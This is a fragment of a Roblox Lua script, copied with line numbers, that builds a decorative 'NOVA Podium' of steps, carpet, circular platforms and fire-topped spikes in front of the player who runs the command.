4851
        local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
4852
        local MainCFrame = Speaker.Character.Torso.CFrame
4853
            * CFrame.new(0,-4,0)
4854
            + Speaker.Character.Torso.CFrame.lookVector*3
4855
        local SeccondaryCFrame = Speaker.Character.Torso.CFrame
4856
            * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
4857
            + Speaker.Character.Torso.CFrame.lookVector*3
4858
        if CFrame == nil then return end    
4859
        coroutine.resume(coroutine.create(function()
4860
       
4861
            for i=1,25 do
4862
                wait()
4863
                local Step = Instance.new("Part",Main)
4864
                Step.FormFactor = "Custom"
4865
                Step.Name = "Step"
4866
                Step.Anchored = true
4867
                Step.Locked = true
4868
                Step.Reflectance = 0
4869
                Step.TopSurface = "Smooth"
4870
                Step.BottomSurface = "Smooth"
4871
                Step.BrickColor = BrickColor.new(SeccondaryColor)
4872
                Step.Size = Vector3.new(6,1,3)
4873
                Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
4874
                Instance.new("BlockMesh",Step)
4875
               
4876
                local Carpet = Instance.new("Part",Main)
4877
                Carpet.FormFactor = "Custom"
4878
                Carpet.Name = "Carpet"
4879
                Carpet.Anchored = true
4880
                Carpet.Locked = true
4881
                Carpet.Reflectance = 0
4882
                Carpet.TopSurface = "Smooth"
4883
                Carpet.BottomSurface = "Smooth"
4884
                Carpet.BrickColor = BrickColor.new(MainColor)
4885
                Carpet.Size = Vector3.new(4,1,3.2)
4886
                Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
4887
                Instance.new("BlockMesh",Carpet)  
4888
            end    
4889
            local MainCirc = Instance.new("Part",Main)
4890
            MainCirc.FormFactor = "Custom"
4891
            MainCirc.Name = "MainCirc"
4892
            MainCirc.Anchored = true
4893
            MainCirc.Locked = true
4894
            MainCirc.Reflectance = 0
4895
            MainCirc.TopSurface = "Smooth"
4896
            MainCirc.BottomSurface = "Smooth"
4897
            MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
4898
            MainCirc.Size = Vector3.new(20,1,20)
4899
            MainCirc.CFrame = SeccondaryCFrame
4900
            Instance.new("CylinderMesh",MainCirc)
4901
           
4902
            local SeccondaryCirc = Instance.new("Part",Main)
4903
            SeccondaryCirc.FormFactor = "Custom"
4904
            SeccondaryCirc.Name = "SeccondaryCirc"
4905
            SeccondaryCirc.Anchored = true
4906
            SeccondaryCirc.Locked = true
4907
            SeccondaryCirc.Reflectance = 0
4908
            SeccondaryCirc.TopSurface = "Smooth"
4909
            SeccondaryCirc.BottomSurface = "Smooth"
4910
            SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
4911
            SeccondaryCirc.Size = Vector3.new(18,1,18)
4912
            SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
4913
            Instance.new("CylinderMesh",SeccondaryCirc)
4914
            for i=1,math.floor(360/6) do
4915
                local Spike = Instance.new("Part",Main)
4916
                Spike.FormFactor = "Custom"
4917
                Spike.Name = "Spike"
4918
                Spike.Anchored = true
4919
                Spike.Locked = true
4920
                Spike.Reflectance = 0
4921
                Spike.TopSurface = "Smooth"
4922
                Spike.BottomSurface = "Smooth"
4923
                Spike.BrickColor = BrickColor.new(MainColor)
4924
                Spike.Size = Vector3.new(1,7,1)
4925
                Spike.CFrame = SeccondaryCFrame
4926
                    * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
4927
                    * CFrame.new(7,-7,0)
4928
                Torch = Instance.new("Part",Main)
4929
                Torch.Reflectance = 1e+999
4930
                Torch.FormFactor = "Custom"
4931
                Torch.Shape = "Ball"
4932
                Torch.Anchored = true
4933
                Torch.Locked = true
4934
                Torch.Size = Vector3.new(2,2,2)
4935
                Torch.CFrame = Spike.CFrame
4936
                    * CFrame.new(0,3.5,0)
4937
                    * CFrame.Angles(0,0,0)
4938
                Instance.new("Fire",Torch)
4939
            end
4940
        end))
4941
    end
4942
)